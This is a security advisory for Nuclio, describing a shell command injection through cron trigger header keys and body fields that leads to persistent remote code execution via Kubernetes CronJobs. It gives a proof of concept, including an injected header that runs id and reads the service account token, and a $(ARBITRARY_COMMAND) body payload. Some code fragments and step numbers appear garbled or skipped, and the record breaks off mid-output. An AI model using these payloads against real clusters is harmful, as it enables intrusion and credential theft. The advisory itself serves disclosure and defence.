GHSA-v5px-423j-pf7p Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE

• Go github.com/nuclio/nuclio: < 0.0.0-20260601075854-3356b86a8bfa → fixed in 0.0.0-20260601075854-3356b86a8bfa

Summary Nuclio controller builds a `curl` invocation string for each cron trigger and stores it as the `args` of a Kubernetes CronJob container (`/bin/sh`, `-c`, ``). Two fields in the trigger specification flow into this string without adequate sanitization: • `event.headers` keys — interpolated verbatim inside double-quoted `--header` arguments (`lazy.go:2150`); any key containing `"` breaks the quoting context. • `event.body` — processed with `strconv.Quote`, which escapes `"` and `\` but not `$()`, allowing command substitution (`lazy.go:2188`). Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17). • CVSS 3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` — 9.9 (Critical) • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) • Affected versions: Nuclio %s && %s %s", strconv.Quote(eventBody), // escapes " → \" and \ → \\, but NOT $() eventBodyFilePath, curlCommand, eventBodyCurlArg) ``` `strconv.Quote` wraps the string in double quotes and escapes `"` and `\`, but does not escape `$`, `(`, or `)`. A body value of `$(CMD)` becomes the Go string `"$(CMD)"`, which the shell expands as command substitution when executing the `/bin/sh -c` string. Attack string for `event.body`: ``` $(ARBITRARY_COMMAND) ``` Resulting shell command: ```bash echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ... ``` Execution sink (`lazy.go:2212`) ```go // lazy.go:2212 Args: []string{"/bin/sh", "-c", curlCommand} ``` The entire concatenated string — including any injected content — is executed by the shell. Persistence mechanism The CronJob created by the controller carries no `ownerReferences` linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at `lazy.go:522`: ```go // Delete function k8s CronJobs before the Deployment so they cannot spawn new // CronJobs are not owned by the Deployment, so cascade does not remove them. ``` --- PoC Environment Setup The following steps reproduce the vulnerability in an isolated local environment. Step 1 — Install prerequisites ```bash kind (Kubernetes-in-Docker) curl -Lo /usr/local/bin/kind \ https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64 chmod +x /usr/local/bin/kind Helm curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash ``` Step 2 — Create isolated kind cluster ```bash kind create cluster --name vul-010 kubectl cluster-info --context kind-vul-010 ``` Expected output: ``` Kubernetes control plane is running at https://127.0.0.1:xxxxx ``` Step 3 — Deploy Nuclio (latest 1.15.27) ```bash helm repo add nuclio https://nuclio.github.io/nuclio/charts helm repo update kubectl create namespace nuclio helm install nuclio nuclio/nuclio \ --namespace nuclio \ --kube-context kind-vul-010 \ --version 0.21.27 \ --set dashboard.enabled=true \ --set controller.enabled=true ``` Wait for the controller to become ready: ```bash kubectl wait --for=condition=Available deployment/nuclio-controller \ -n nuclio --context kind-vul-010 --timeout=120s ``` Step 4 — Create a NuclioProject ```bash kubectl apply --context kind-vul-010 -f - 12s ``` Step 8 — Inspect the generated CronJob command (static confirmation) ```bash CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \ -o jsonpath='{.items[0].metadata.name}') kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \ -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \ | python3 -m json.tool ``` Actual output from verification: ```json [ "/bin/sh", "-c", "curl --silent --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-de…